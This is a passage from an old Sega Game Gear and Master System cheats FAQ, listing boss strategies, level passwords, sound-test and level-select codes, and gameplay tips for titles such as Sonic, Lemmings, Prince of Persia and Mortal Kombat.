come down. + After + that, you'll drop to the next level. Kill the eggs so that +they + don't have any more birds coming out of them, so you can + concentrate on the Mother Goose (as I like to call it). + +Zone III boss: To kill this one, jump on him when he has a ball on his head. + This is probably the easiest boss. + +Zone IV boss: One of the worst! The boss himself is not ridiculously hard, +but + to get there is rather difficult, as it's all plungers and + spikes! This boss is a hog that transforms himself into a +golden + sphere that moves across the screen. It's only safe to jump +on + him while he's a hog. Sometimes he'll go to one side, remain +a + sphere, and then go back, but usually, he transforms back into +a + hog as soon as he reaches the opposite side. + +Zone V boss: It's only safe to jump on him when he does not have his spikes + standing up. He will lose his spikes when he hits the wall. + There + will also be small white balls that fall from the sky. I found + this round to be slightly easier if I didn't even try to jump on + him the first time, and just stayed away from the balls. After + that, I could position myself better. Also, it seems to help if + the jumping is done quickly and flawlessly. I managed to do +this + once or twice, and it substantially cut down on the number of +balls + that fell from the sky. + +Zone VI boss: The Silver Sonic! It's not really that difficult. The way to + kill this one is by jumping on him when he's a regular Sonic, +and + not a ball. (Jumping on the ball doesn't hurt either, as long +as + you're on top.) + +Zone VII boss: This was hard. Basically, the pattern is as follows: Jump +on + Robotnik as soon as you leave the tube. Go back into the +tube + and go around and around. Get out of the tube after you see +the + lightning flash the second time. Jump on Robotnik. Go back +in + the tube. Go around and around, etc. +-------------------------------------------------------------------------------- +Sonic 2 (European) + +Level select: At the sound test and play tracks 19, 65, 9, and 17. Hit START +to + exit. Wait for the screen where Sonic and Tails give you a +thumbs + up and hit 1 and START twice. + +Level Codes: Stage 2 - EAGF Stage 6 - HBGA + Stage 3 - CHFA Stage 7 - FBHE + Bonus - No code Bonus - No code + Stage 5 - DGBC Stage 9 - BFCH +-------------------------------------------------------------------------------- +Defenders of Oasis + +Q: How do I get the other chests and reach the stairs on the ice patch level +of +Defender of the Oasis. + +Right next to the stair entrance (on its left), there is a chest. Now, on +the +strip of land (way at the bottom), walk to the column that if you skate up, +you'll reach that chest. Now skate : U (you'll stop at the chest right next +to +the stairs) (open it and grab the goodies). R D L U L : there you are at +the +entrance of the stairs. + +With these movements, you'll grab the chests that cannot be reached by +skating directly. + +Q: Is there a secret screen in DoD? + +Yes, there is a secret screen in DoO. All you have to do is hold up & start +at +the title screen. What you will see is a sound test of all the music, sound +effects and voices. To exit the sound test screen hit start, to listen to +the +music press either 1 or 2. There are only 3 voices, and about 40 sound +effects. +-------------------------------------------------------------------------------- +Ecco the Dolphin + +Level Scene Code +1 Medusa Bay QMBRB +2 Undercaves AGCFU +3 Ridgewater VADJR +4 Open Ocean QYEKR +5 Cold Water IAFWN +6 Open Water +7 Deep Water YAHWV +8 The City of Forever #1 OKBKI +9 Origin Beach CCRIJ +10 Dark Water WGUKK +11 The City of Forever #2 MEMSK +12 The Tube GGWAO +13 The Machine KOWMP +-------------------------------------------------------------------------------- +Castle of Illusion with Mickey Mouse + +Q: In Mickey Mouse Castle of Illusion Game Gear Version, how do you kill the + Chocolate looking dude in the Candy world? + +Each time he hits the wall four chocolate pieces fall, three disappear, one +stays. Pick up the remaining one, jump and throw it at the guy when in +mid-air +(works ony when he is 'fully assembled', with face). Repeat four times. + With +some practice you can do it quickly. Throw it when he is hitting the wall, +then +the next piece will fall down and he will not disassemble, so you can throw +again. You can finish him in <15 seconds this way. + + +Secret Treasures: To grab two secret treasure chests go to the very far +right + of the forest in Level 1. You'll discover two treasure + chests in the bottom left hand corner of the screen. Jump +on + the chest on the right and then jump up to the right side +of + the screen in one motion. Two treasure chests appear just + above and to the right of the first two chests. Quickly +jump + onto them. They will break open and two coins will +appear, + each worth 2,000 points. + + Another secret treasure in the same Level is towards the + end: when you passed the cave and go down (to re-emerge +in + the forest) go left and attack jump - another 2 treasure + chests with big coins appear. + + + +Secret Life: In level 4 enter the coffee cup screen. Exit the coffee cup +and + jump across the three rotating platforms until you reach the +first + dancing Letter A. Climb the ladder to the left of the screen + until you reach a room with two bugs, a button, and a barrel. + Kill the bugs by throwing the barrel and the button. The +button + disappears but you can use the barrel to climb up the ladder on + the right side of the screen. You'll enter a screen where +there's + another bug to the right. Kill the bug by jumping on it and + continue to the right until you reach a second dancing Letter +A. + Pass the Letter A and keep going right. You'll come upon a +tiny + drop in the floor that looks like it was made out of wood. The + drop is just big enough for Mickey to fit into. Jump up by + pressing Button 2 twice so that Mickey comes down on his +behind. + This pops the floor and allows Mickey to enter a secret room +with + two treasure chests containing a coin and a free Mickey. There +is + one more secret life on the same level. When you finished the + level and go to the boss room - you have to go down a ladder. + Jump down the ladder (pressing 2) press left and keep it +pressed. + At some point Mickey will stop falling down and enter a secret + passage, leading to a room with additional life chest. +-------------------------------------------------------------------------------- +Prince of Persia + +Level Select Passwords + +Dungeon Password Mins Left Strength +1 CGBEBY 50 + DHEFCF 52 + EIKGDP 57 + EILGDQ 58 +2 GIEIEO 40 + ILIKGB 52 + FIJHDQ 56 4 +3 ECJFBF 18 + IKGJFW 51 + GIHIDQ 54 5 + IKKJFA 55 4 +4 GDEHCG 12 + KKMLGH 46 + LLOMHN 47 4 + MMPNIS 47 5 + HIFJDQ 52 6 +5 NINNIN 5 + HGGHCM 44 + IIDKDQ 50 7 +6 JDGIDN 3 + ICGHCJ 4 + IGDHCK 41 + KJELEW 50 7 +7 NGHLGB 1 + IFBGBF 40 + OLQOHU 49 7 +8 PKJMHL 32 +9 OIFKFA 30 6 +10 PHMKFH 27 +11 RIKMGL 24 +-------------------------------------------------------------------------------- +@@@@@ +Prince of Persia (European) + +Level Code +7 MIMLGC +8 KELIDU +9 NFOKFF +10 LCJHCP +11 OEMJEB +12 PEJKEA +13 PDHJDV +14 QDGJDV +-------------------------------------------------------------------------------- +Lemmings + +Level Select Passwords + +Level Fun Tricky Taxing Mayhem +1 +2 TGNBVLWM YQBDGNBU +3 ZTGNBUIQ JTHPGFDY +4 BDGMZSEJ RDHPGFEC +5 TGMZSFKU WMZSEJTG +6 JSFKVLWN MZTHPGGF +7 BUIQBCFK DZSEIRCE +8 UJTGMYRD IQBCFKVL +9 HODYRCFK WMYRDGMY +10 VKVLWMZS RDGMZSFK +11 FLXPGGGG VLXDDZTH +12 GFECXPGF PFECXPFE +13 DZSEJSFK BUJTHOEC +14 UIQAABCE XOECWNBU +15 JSEJTGMY USFKVKUJ +16 QABDGNBU THODZTGM +17 IRCEIQAA YQBCEIRD +18 BCFLWMZT HPFDZTHP +19 GMZSFLWM FEBVLWNB +20 ZSEIRCFK UJTHPFEC +21 UJSFKVKU WNCWNBVL +22 JSEJSEIR WMYRCEJT +23 OGNCWMYR GNBUIQAA +24 OHPFDYQA ABDGMZTH +25 AABDHODY ODYRCEJS +26 QBDHPGFE FKUIQBDG +27 CXODYQBD NBVLXPGG +28 HPGGFECX FDYQBDGN +29 ODZSEJTH +30 +-------------------------------------------------------------------------------- +@@@@@ +Lemmings (European) +(errors with some codes due to original) +(Editors Note: These seem very similar to the US codes.) +(If one of these doesn't work try the US code.) + Tricky Taxing Mayhem +1 RCEOJTHOD ECWMZTGM GGFOYQBC +2 YQSDGNSU ZSFKUJSF FLWNCXPG +3 JTHPGFDY LXPGFDYR FECWMYRD +4 RDHPGFEC CFKVKUJT HOEBVKUI +5 WMZSEJTG GMYRCFKU QBCEJSEI +6 MZTHPGGF JTHPFECX RDHPGGFE +7 DZSEIRCE PFDZSFLX CXOEBVKU +8 IQSCFKVL DECWMZTG IQABDHPF +9 WMYRDGMY NBUJSFLX CXOEBVKU +10 RDGMZSFK MZSFLWMY NCXOEBUJ +11 VLXODZTH RLFKUJSE THOECXPF +12 PFECXPFE IRCEJSEJ DYRCEIRD +13 BUJTHOEC SEJTHOEC GNBUJTHO +14 XOECWNBU WMYQBOGM DZSFLXPF +15 JSFKVKUT YQAAAAAB DZTHODZS +16 THODZTGM DHODYROG EJTHPFDZ +17 YQBCEIRD NCWNCWMY SFKVLWNC +18 HPFDZTHP QAABDHPG XPFDYQBN +19 FEBVLWNB GGGFDYQA GNCWMZTH +20 UJTHPFEC AABDGMYR ODYQBCFL +21 WNCWMBLL DHODYQAB XDECWMYQ +22 WMYRCEJT DHODYQBD BCFLXPGF +23 GNBUIQAA GNCXPGGG EBVKVLWM +24 ABDGMZTA GFDZTHPG YRDGNBVK +25 ODYRLEJS GFECWMYR VKUJSFLX +26 FKUIQBDG CEIQABDG PFDZTHPF +27 NBVLXPGG NCWYRCE DZTHPGFD +28 FDYQBDGN IROHDDZS YRCFKVLW +29 BVLWMZTG EJTGMYQB NCWNCWNC +30 NBUIRDHO DHODZTHP WMZTHPFE + +General tips: +The most important thing to remember about Lemmings is:DONT PANIC! If +you feel +that everything is moving too quickly, you can slow down the rate of +lemmings, +and that should give you a bit more time to think. + +The first couple of times you play a level you're not sure of, turn the +second +lemming into a blocker - to hold back the rest of them - and just +concentrate +on the first one. This way you don't have to worry about 20 lemmings at +once. + +Very often any problem on a level is more obvious that it looks. Look +at the +amounts of the various characters that you've been allocated, and work +it out +from there. + +Remember: you can select the characters (builder, digger etc.) while +the game's +in pause mode. This will help the more nervous players out there. + +Shinobi 1 + +Q: In Shinobi 1, how do you get past the level in the final city that slowly + fills up with water as you hop from platform to platform? (The platforms + eventually lead underwater where you must drown...) + +This one is nasty. You must use the Pink Ninja (Yellow cannot walk on this +water). When you use a Ninjutsu, the water level goes down and starts +filling +again. Using the Pink Ninja jump up to the first platform and bomb the +robot. +Then jump up and get the Ninjutsu. Then jump over to the second block to the +right and before touching it or the water, while in midair use your Ninjutsu. +The water will then lower for awhile. Walk through that robot, jump up to +the +next one and bomb him. Get the Ninjutsu. You should still have just enough +time to just jump towards the second block to the right and use your Ninjutsu +in +midair. Now before the water raises again, you'll have to jump and run/jump +as +fast as you can to the right and then just as the water touches your ankles +you +can enter the door. + +Q: How do you get that Secret Bonus in Shinobi I for Game Gear? + +Finish a round without grabbing any of the Ninjitsus and then you'll get the +Secret Bonus of 3000 points. +-------------------------------------------------------------------------------- +Shinobi (European) + +Sound Test: Press 1, 2, and START at the title screen. +-------------------------------------------------------------------------------- +Shinobi 2: The Silent Fury + +Passwords: D09F9 - Yellow, Pink, Green, and Blue Ninja. + 11817 - All Ninjas and Yellow Crystal. + B9B12 - All Ninjas and the Yellow and Pink Crystals. + DDE91 - All Ninjas and the Yellow, Pink, and Blue Crystals. + 1FEDF - All items (Ready for last level). + +Q: How do you get the secret bonus? + +Just finish a round without opening up any boxes that contain bombs and +you'll +get a 3000-point bonus. +-------------------------------------------------------------------------------- +Indiana Jones and the Last Crusade + +Q: How do you get the Cross in the first scene? + +Start at the room where you see the cross. Move left and jump, walk across +the +bridge. Get the whip and kill guard Climb up the rope and jump to the ledge +at +the right. Jump to the second rope and climb up until you see another +climber. +Go down the rope and jump to the room to the right of the rope. Wait until +the +climber starts to climb up and then jump back to the rope. Climb up and jump +to +the first ledge at the left. Wait until the climber go down jump right to +the +rope and jump right again. Walk right until you reach to the ledge jump +right, +jump right again. By now you have extra time from the hourglass you picked +up. +Climb down the rope, move left until you reach to ledge and drop down. + +Now you've collected the cross finish the scene. +-------------------------------------------------------------------------------- +Terminator + +Q: In Terminator, how do you get past the first level? + +>From the start run across the surface to the ladder. Ignore the attack +"helicopters". Descend the ladder and run to the left, blasting the wall +with +three grenades. Run to the end of the walkway and jump down to the stairs +and +run to the right. Continue jumping and running to the right until you get to +another wall, blast this with three grenades and run through the hole. At +this +point your energy gets reset to 100%. Run to the right until you get to a +double wall, blast with grenades. Run to the right and up the stairs. The +walkway above and to the left is where the bomb will appear later. Jump up +to +the right on to the platform formed by the pipework. Jump to the right on to +the next platform, and then on to the next. An Uzi should be available to +the +right of the ladder.Collect the Uzi and go back to where the bomb will +appear. +It is possible to jump across the platforms. Start the bomb then go back to +the +ladder where the Uzi was. Climb the ladder then run to the left until a down +ladder appears. Descend this ladder and run up the stairs to the left. At +the +top of the stairs jump across to the up ladder, and climb up. Then run +across +to the time-machine and in. That's all you need to do. Of course it's +necessary to destroy any terminators as required! I think it's easier to try +and outrun anything following you than to destroy them. It seems that speed +is +more important, especially when the bomb has been activated. +-------------------------------------------------------------------------------- +@@@@@ +Terminator (European) + +Go to the main Terminator screen and hold down 2 and press 1. The screen +will +turn black for a few seconds. While the screen is black, do the following on +the pad: Left, Left, Up, Up, Right, Right, Down, Down. + +Two zeros should appear onscreen. You can now select the level by pressing +Right and Left on the pad. +-------------------------------------------------------------------------------- +Slider + LEVEL PASSWORDS + +L2: AJAJ L3: JJJL L4: AACC +L5: JALE L6: AJCL L7: JJLN +L8: CAAC *L9: LAJE L10: ACAC +L11: JCJE L12: ALAL L13: JLJN +L14: ACCE L15: JCLG L16: ALCN +L17: JLLP *L18: CCAE L19: LCJG +L20: AAEE L21: JANG L22: AJEN +L23: JJNP L24: AAGG L25: JAPI +L26: AJGP L27: JJPB L28: CAEG +L29: LANI L30: ACEG L31: JCNI +L32: ALEP L33: JLNB L34: ACGI +L35: JCPK L36: ALGB L37: JLPD +L38: CCEI L39: LCNK L40: AEAE +L41: JEJG L42: ANAN L43: JNJP +L44: AECG L45: JELI L46: ANCP +L47: JNLB L48: CEAG L49: LEJI +L50: AGAG L51: JGJI L52: APAP +L53: JPJB L54: AGCI L55: JGLK +L56: APCB *L57: JPLD L58: CGAI +L59: LGJK L60: AEEI L61: JENK +L62: ANEB L63: JNND *L64: AEGK +L65: JEPM L66: ANGD L67: JNPF +L68: CEEK L69: LENM L70: AGEK +L71: JGNM L72: APED L73: JPNF +L74: AGGM L75: JGPD L76: APGF +L77: JPPH *L78: CEGM L79: LGND +L80: EAAE L81: NAJG L82: EJAN +L83: NJJP L84: EACG L85: NALI +L86: EJCP L87: NJPB L88: GAAG +L89: PAJI L90: ECAG L91: NCJI +L92: ELAP L93: NLJB L94: ECCI +L95: NCLK L96: ELCB L97: NLLD +L98: GCAI L99: PCJK + + * Indicates difficult level. Best to look for an exit door. +-------------------------------------------------------------------------------- +Spiderman + +Q: In Spiderman, level 4 how do you get the key at the top of the screen at + the end of the level? It is protected by a series of electric sparks. + +Go to the platform right below the first line of sparks. If you watch the +sparks, you will notice that there is a pattern. The sparks will stop for +about +a second at regular intervals. When you see this opening, jump up, shoot +your +web and hang below the next line of sparks to wait for another opening. +Eventually, you'll make it up to the top and grab the key. Then, as you fall +down, shoot your web up and hang below the last line of sparks to wait for +the +screen to fade out. NOTE: there also is a pseudo-opening in the sparks. It +will seem to have stopped, but the spark will flash realy quickly, knocking +you +down if you jumped. After you learn to distinguish the two, it should become +quite easy. +-------------------------------------------------------------------------------- +@@@@@ +Spiderman (European) + +For a hidden game of Pacman, with Spidey as the main man and Venom as the +ghosts, start playing in Nightmare mode. Now, when you're on Electro's level +- +and you've just collected the key - drop down the left side of the screen. +You'll see a small GG on your way down. Land on it and go back to Peter's +room +and you'll have the option to start the hidden game. +-------------------------------------------------------------------------------- +Mortal Kombat + +Special moves for Game Gear + +Character | Move | Game Gear Direction Pad Controls +========================================= U=Up, D=Down, T=Towards, A=Away +Johnny Cage | Shadow Kick | A,T,K | + | Fire | A,T,P | Button Controls + | Split Punch | P+B | B=Block (Start ) + | Fatality | T,T,T,P | P=Punch (Button 1) +========================================= K=Kick (Button 2) +Lui Kang | Flying Kick | T,T,K | + | Fireball | T,T,P | + | Fatality | Roll (360) | + | | T,D,A,U,T | +========================================= +Rayden | Torpedo | A,A,T | + | Lightning | D,T,P | + | Teleport | D,U | + | Fatality | T,A,A,A,P | +========================================= +Sub-Zero | Freeze | D,T,P | + | Slide | A,A,P+K | + | Fatality | T,D,T,P | +========================================= +Scorpion | Harpoon | A,A,P | + | Decoy | D,A,P | + | Fatality | B+(U,U) | +========================================= +Sonya Blade | Leg Grab | D+P+K | + | Sonic Rings | A,P | + | Square Wave | T,A,P | + | Fatality | T,T,A,A,B | +========================================= + +Q: What is the "Blood" code for Game Gear? + +Press 2,1,2,Down,Up. The screen will display "Now Entering Kombat." + +Q: What happens when a fighter does a fatality in Mortal Kombat? What +happens when the fighter defeats Shang Tung? + +Johnny Cage: Fatality: punches the head off of the opponent. What happens + when he beats Shang Tsung: It says that he's learned the true + spirit of competition and goes back to Hollywood to film Mortal + Kombat the Movie and its many sequels. Hint on how to defeat + Goro: keep on shadow kicking him (T,B,K) you can get a +flawless + if you duck the first second and then start hitting the buttons + over and over again rhythmically. + +Scorpion: Fatality: rips off his mask to reveal a skull and blows a + stream of fire at opponent so he/she goes up in smoke. How to + beat Shang Tsung: Wait til Shang transforms into one of the + reg. characters and beat the crap out of him/ her. When he + beats Shang Tsung because as you know Scorpion had a wife and + child in a former life and when he becomes Supreme MK Warrior +it + says that he will live forever not knowing about his wife and + child in his former life... + +Liu Kang: Fatality: not too bloody; he just spins and knocks the +opponent + out. What happens when he beats Shang Tsung: he restores the + tournament back to its rightful place (big whoop.) with the + Shaolin monks. + +Sonya: Fatality: she blows this small little fireball at the opponent + that engulfs him in flames. What happens when she beats Shang: + Her friends get released... + +Rayden: Fatality: he zaps the head off of the opponent with his + lightning. What happens when he defeats Shang: This by far is + the funniest of all endings. It says that since he is immor- + tal, winning the tourny was no big whoop to him and he gets + bored playing with mortals so he calls upon other Gods in his + own tournament. It says that the ensuing wars cause the + ultimate destruction of the world as we know it. Then it says, + "Have a nice day." :) + +Q: Are there any Game Genie codes for MK on Game Gear? + +Yes, they are: + +003-488-F79 Player 1 is invincible +00B-40C-3BE Infinite Time +240-C5D-C4B Player 2 usually starts with 1/2 health. + +Fun stuff to do with MK: + +If you're using Sonya, after your opponent is defeated, do the flying punch. + If +you time it right, she'll do her victory pose while standing in mid-air, +rather +than on the ground. Funny-looking. + +If you're using Sub-Zero and it says "Finish Him", you can freeze your +opponent +forever. Just wait for him to thaw out, then freeze again and you can do it +over and over again and the game will never end. + +A cheating way to kill Goro is to punch him a couple of times at the +beginning +of the round, then just jump up and down in the same spot until the round is +over, and you'll win on energy level, since Goro will just stand there and do +nothing to you. + +-------------------------------------------------------------------------------- +Fantasy Zone + +Configuration Mode: At the title screen press: UP, RIGHT, DOWN, LEFT 1, 2, +1, + 2, and START. Now you can change money, mode, stage, +and + sound test. + +Invincibility: Enter the config mode as shown above, select "Mode" and press + LEFT, 1 & 2. +-------------------------------------------------------------------------------- +@@@@@ +Fantasy Zone (European) + +In the first 30 seconds of level one, the hamburgers that you shoot are worth +a +whopping 1,000 gold pieces. After you've collected at least 2,000 points the +shop will appear. So collect as many of these hamburgers in the first 30 +seconds as you possibly can, and then leg it to the shop. +-------------------------------------------------------------------------------- +Psychic World + +Level Select and Sound Test: During the title screen simultaneously press +LEFT, + UP, 1, and 2. Then push START. Press 1, and 2 + while the screen reads ED and a number will +appear + on the last line which should read "Round NO +1." + Press UP or DOWN to pick a level. +-------------------------------------------------------------------------------- +Revenge of Drancon + +Bonus Round: After you pass the sign with the number 2 on it, you'll come to +a + snail on the ground. Right above it is a banana in a tree. + Kill + the snail and jump high to get the banana. After you grab the + banana a red bag appears where the banana was. Grab the bag +and + Ronnica will escort you to the bonus game. While you're in the + bonus game don't grab the red bag unless you want to leave the + bonus round. +-------------------------------------------------------------------------------- +@@@@@ +Revenge of Drancon (European) + +Level Select: On the title screen press Down and Start. A level start will +come up. Now press Up to choose your starting round. +-------------------------------------------------------------------------------- +Revenge of Drancon (European) + +Level select: Press DOWN, START, then UP at the title screen. +-------------------------------------------------------------------------------- +Space Harrier + +Passwords: Stage 2 - EAGF Stage 7 - FBHE + Stage 3 - CHFA Stage 9 - BFCH + Stage 5 - DGBC Stage 10 - HGDA + Stage 6 - HBGA Stage 11 - AGEC +-------------------------------------------------------------------------------- +Space Harrier (European) + +Difficulty Setting: When turning on your machine, hold down 1 to play in +hard + mode or 2 to play in easy mode. + Space Harrier +-------------------------------------------------------------------------------- +Dragon Crystal + +More Speed: At the beginning of Level 1, press START and hold it down to +make + the game move faster. +-------------------------------------------------------------------------------- +@@@@@ +Dragon Crystal (European) + +Bonus room: As soon as you switch on your Game Gear press Start as many +times +as you can (just before the game starts). You should find yourself in a room +full of food and weapons. If not, switch off and try again. + +Speedy dude: Hold down the Start Button during the game to move twice as +fast. + +-------------------------------------------------------------------------------- +Ax Battler + +Passwords: Fire Wood - IMKP IIHE OGIH NNPH + Turtle Village - BNLK LPAG HMGH NOGO + Turtle Village - IPEG AIGL PIEL EFOH * + Sand Marrow - AOEC DLCD PNFP FBPF + Sand Marrow - BHIF JHPG CLCN OMDC * + Sand Marrow II - PKIL MPGO AHDH KHCJ + Southwood - EIIN PMOK PNGI CLJD + Brookhill - CPGG CIAK AEFF OPKO + Brookhill - LKHC CFLI DJOJ BMDA * + North Valley - MBBM KFDK HJBK KKJE + North Valley - DNCD NPMP LPGD HDEE * + Ice Cliffs - FLGO LMHJ LJGG OOPC + * - indicates second, alternate code +-------------------------------------------------------------------------------- +Ninja Gaiden + +Passwords: Act 2 - SMUGGLING:NINJA + Act 3 - SKYSCRAPER:GIDEN + Act 4 - COUNTERATTACK:DRGON:SWORD +-------------------------------------------------------------------------------- +Chase HQ (European) + +Extra Continue: Smash your car into every oil barrel on the second level. +-------------------------------------------------------------------------------- +Columns (European) + +Different Ending: Play the game in flash mode with a height of nine and the + normal difficulty setting. Quit the game when the flash +mode + demo ends and you'll be treated to a different ending. +-------------------------------------------------------------------------------- +Donald Duck and the Lucky Dime Caper (European) + +Infinite lives: Kill Donald and when the continue screen appears press DOWN, +and + 1. You should restart that level with infinite lives. +-------------------------------------------------------------------------------- +@@@@@ +Factory Panic (European) + +1-Ups: Hang around until the time reaches 100 and you'll be rewarded with +tons + of 1-Ups. + +Level Code Level Code +1 TSMDCV 11 THESUN +2 TTNDCV 12 MQANCZG +3 TVPDVC 13 MSCNCZG +4 TZTDCV 14 MWGNCZG +5 THBDCV 15 MEONCZG +6 THBEDW 16 MEOODAH +7 THBGFY 17 MEOVJGN +8 THBKJC 18 MEOCROV +9 THBSRK 19 MEPCSPW +10 THCSSL 20 MERCURY +-------------------------------------------------------------------------------- +Rastan (European) + +Continue: When you die, press UP and START together to carry on from the +spot + where you died. +------------------------------------------------------------------------------- +Out Run (European) + +Stop timer: At the title screen press LEFT, 1, 2, and START. +-------------------------------------------------------------------------------- +Chuck Rock + +Q: In Chuck Rock for Game Gear, how do you kill the wooly mamoth at the end +of + the 3rd level? + +I managed this by taking the boulder then reapeatedly dropping this on the +mammoth's head. + +To be successful:- + +1) You need to lob the boulder from a point on the rock plateau where it will + just fall over the edge (ie. it is close for you to pick it back up) +2) You have to judge the time at which to throw it, as I recall it's +somewhere + near the middle of the screen as the mammoth returns right to left towards + you. +3) Hopefully you smack him on the bonce (if not just get the boulder and try + again). +4) Once the mammoth is returning left to right, jump down and grab the +boulder + throw it back up on to the plateau. +5) Quickly jump back up onto the plateau (you don't have much time which is +why + you must make sure you drop the boulder on him close enough for you to +safely + retrieve it). +6) Grab the boulder again and start from 1). + +I can't rememer the exact number of hits you need but I guess it is around 8 +- +10. +-------------------------------------------------------------------------------- +@@@@@ +Chuck Rock (European) + +Level Code +2 7G09M +3 NN6E3 +4/5 84AKC +================================================================================ +Section III: Master System Cheats, Hints and Spoilers +[ Warning: This info has not been validated for the Game Gear. If you can + ] +[ verify any of this on a Game Gear, please let me know. -Editor + ] +================================================================================ +Afterburner + +Continue 2 Times - When it says "game over" on the screen,press the +DIRECTIONAL +BUTTON UP and then press BUTTONS 1 and 2 at the same time. This function +cannot +be used after the 8th level.However ,there is a way to get beyond this.When +you +are in the title (before entering the demonstration screen),press the paues +button 100 times and then start the game.You can continue to stage 17 without +any restriction. You can not continue beyond stage 18. +-------------------------------------------------------------------------------- +Black Belt + +Unlimited Men - Press BUTTON 1 ,see a red screen,then it goes black.While +it's +black press RESET (keep it down) until you see Riki at the top of the +screen.Now +you have unlimited men. +-------------------------------------------------------------------------------- +Choplifter + +Select Level - In the title screen,move the DIRECTIONAL UP,DOWN,LEFT,RIGHT +then +press BUTTON 1. Repeat the same sequence for the player 1/player 2 screen. + you +will see the words "select round 1". The numbers will rotate from 1 to 6. + When +the desired round number is displayed, press the START BUTTON to begin the +game. + +In Stage 2 - The last 8 hostages can be located in the submarine. Bomb the +periscope as it sticks out of the water. This will cause the submarine to +come out of the water, when it does the hostages will appear on the bridge. +Land on the bridge to rescue them. + +Special characters (Superman,Jaws, E.T.) - After the first prison is a +rocket +launcher. Shoot 10 rockets and Superman will appear. Shoot him to speed up +the +hostages. If Superman appears 3 times they get faster. + +Stop Tank From Shooting - After you land to pickup the hostages hop up and +down +to stop the the tank from firing. +-------------------------------------------------------------------------------- +Enduro Racer + +Select Round - During the title screen move the DIRECTIONAL +UP,DOWN,LEFT,RIGHT. +After completing this sequence, a small number will appear at the right +portion +of the title screen. The numbers range from 1-10. These are the rounds that +appear in the game. Move your DIRECTIONAL UP to choose the desired round. +-------------------------------------------------------------------------------- +Ghostbusters + +Start With More Money - At the beginning of the game you are given the option +to +start or continue the game. Using the DIRECTIONAL, move the cursor to +continue +and press BUTTON 1. You need at least $10,000 to continue or you can use the +initials AA and the ten-digit account number 1173468723 at the beginning of +the +game. This will start you with $1,975,800 instead of $10,000. +-------------------------------------------------------------------------------- +Ninja + +Scroll Locations: + +Scroll 1: On Level 1 shoot the transforming ninja. + +Scroll 2: On Level 4 when you come to the lion statues on the road, shoot +the + left one 5 times. + +Scroll 3: On Level 6 at the first house with a moat around it, go across the + bridge and to the tree at the top right hand corner of the moat. + Shoot left and the scroll should appear. + +Scroll 4: On level 8 go through the entry way to the open field. Shoot at +the + last bush towards the back wall and the scroll will appear. + +Scroll 5: On level 9 crawl up the wall and start fighting the main boss, but +do + not kill him. Leave him and go to the far right side of the +screen. + The scroll should appear. Then go back and kill the boss. + +Stop The Rocks On Level 9 - On level 9 you can stop the rocks from falling by + shooting the rock hole at the far right side 46 + times. + +Getting To The Maze Round - Level 10, walk along the middle of the stone grey + walkway to the stairs. There will be round grey + statues on your left. Go to the last grey statue + and punch it 3 times, then disappear three times. + A + message will appear and you will move to the maze + round. In the maze as you enter, turn left, then + make the first right and continue to bear to the + right until you run into the main boss. +-------------------------------------------------------------------------------- +Maze Hunter 3-D + +Select Level to Continue After Game Over - Wait until the screen reappears. +Then press BUTTON 1 and 2 with the DIRECTIONAL pushed UP and to the LEFT. + You +will see 1 1 in the upper right corner.The number on the left is the area +number. The right number is for the level. Use the DIRECTIONAL to select +the +level you were at then press BUTTON 1 or 2 to start the game. You can +continue +only as high as the highest level you have already played. +-------------------------------------------------------------------------------- +Rambo: First Blood Part II + +Continue - You can only continue if you are in two player mode and only +through +the 2nd level. When "game over" appears, manipulate the CONTROL PAD (push on +the DIRECTIONAL PAD and BUTTONS 1 and 2) until the continue option appears. +-------------------------------------------------------------------------------- +R-Type + +Extra Credits - To recieve extra credits (continues), rotate the DIRECTIONAL +in +a clockwise direction while in the continue screen (or maybe counter- +clockwise). Up to 10 credits can be recieved this way. + +Sound Test - Rotate the DIRECTIONAL in a clockwise (or maybe +counterclockwise) +while in the continue screen. From here you can play any of the 17 +soundtracks. +While in the continue screen, move to soundtrack 00. Press and hold BUTTON +2, +and press the DIRECTIONAL LEFT. This will move you to soundtrack 95. Press +BUTTON 1 and move LEFT, press BUTTON 1 and move LEFT,and continue this until +you +reach zero again. (Press BUTTON 1 from here and you'll exit the sound test). +After you've exited, you may recieve extra credits, without the limit of 10. + +Enter Super Stage - To enter the super stage at the end of round 4, back your +ship into the first pillar on top of the giant wall of mechanical cells near +the +end of the round. + +Invincible Mode - Before you turn on the system, hold the DIRECTIONAL on +controller 1 in the DOWNRIGHT position and the DIRECTIONAL on controller 2 in +the UPLEFT position. Also hold down BUTTON 1 on controller 2. Power on the +system and hold all 3 BUTTONS until the words R-TYPE are in full view. You +are +now in invincible mode. +-------------------------------------------------------------------------------- +Shinobi + +Select Level- At the title screen push the DIRECTIONAL DOWN and BUTTON 2. + You +come to a black screen with the level numbers in the center Press the +DIRECTIONAL to the LOWER LEFT and BUTTON 2 to select the desired level. +-------------------------------------------------------------------------------- +@@@@@ +Shinobi (European) + +Sound Test: Press Up and Start at the title screen to hear all the tunes + +Hidden Life: If you're running short of lives in the Woodland level, then +you +might be interested in this tip. On the second stage of the Woodland level, +go +up to the top of the tower (where the pole sticks up in the air). If you +stand +to the right of the aforementioned pole and press Up and fire an extra life +will +appear. +-------------------------------------------------------------------------------- +Wonder Boy III + +Password: 3YGUPYZ ZY7K NRR -This let's you begin as Wonderboy with tons of + money, maximum charm stones, a little bit of magic, and every +single + kind of sword, shield, and armor. + +Secret Door: Stand in front of the door that's to the right of the Red Chest +on + thelower third level of the main tower. Jump and press UP on +the + control pad while you're at your highest point in the jump. The + top half of the door will open, so you can enter and buy +weapons. +-------------------------------------------------------------------------------- +@@@@@ +Wonderboy (European) + +Press down and start on the title screen for level select - press up to +choose +the level you want. +-------------------------------------------------------------------------------- +@@@@@ +Wonderboy (The dragon's trap) (European) + +Mouseman G1X4 C17 EG43 LDF +Piranhaman G1G4 W6P EGEZ 515 +Lionman CLO5 5KF AHFA 87H +Hawkman KDGC PT7 EJAN +-------------------------------------------------------------------------------- +Golvellius: The Valley of Doom + +Q: I have searched everywhere in the Crawky Forest and the Heidi Forest for +the +boots that enable you to walk across rocks, trees, etc. Where do you find +these? + +The Ascend Boots can be found in the northwest corner of the Pine Forest. +You'll get to a screen with rocks, trees, and one bush. Hit the rocks and +the +Deathlords that are floating around, and a hole will appear where you can buy +the Ascend Boots for $70,000. +-------------------------------------------------------------------------------- +Miracle Warriors + +Q: I finally reached the point where all I need are the three keys. My + characters are all maxed. I'm in the land of Areos, but I'm unable to +enter + all but one of the monuments. I've become bored with killing other + characters, losing points, and regaining points. I'd really appreciate +any + hints that would help me obtain the keys and reach Terrind. + +To get to Terrind start from the town of Tegea. Go 16 spaces south, hit the +"Spell" button and enter the 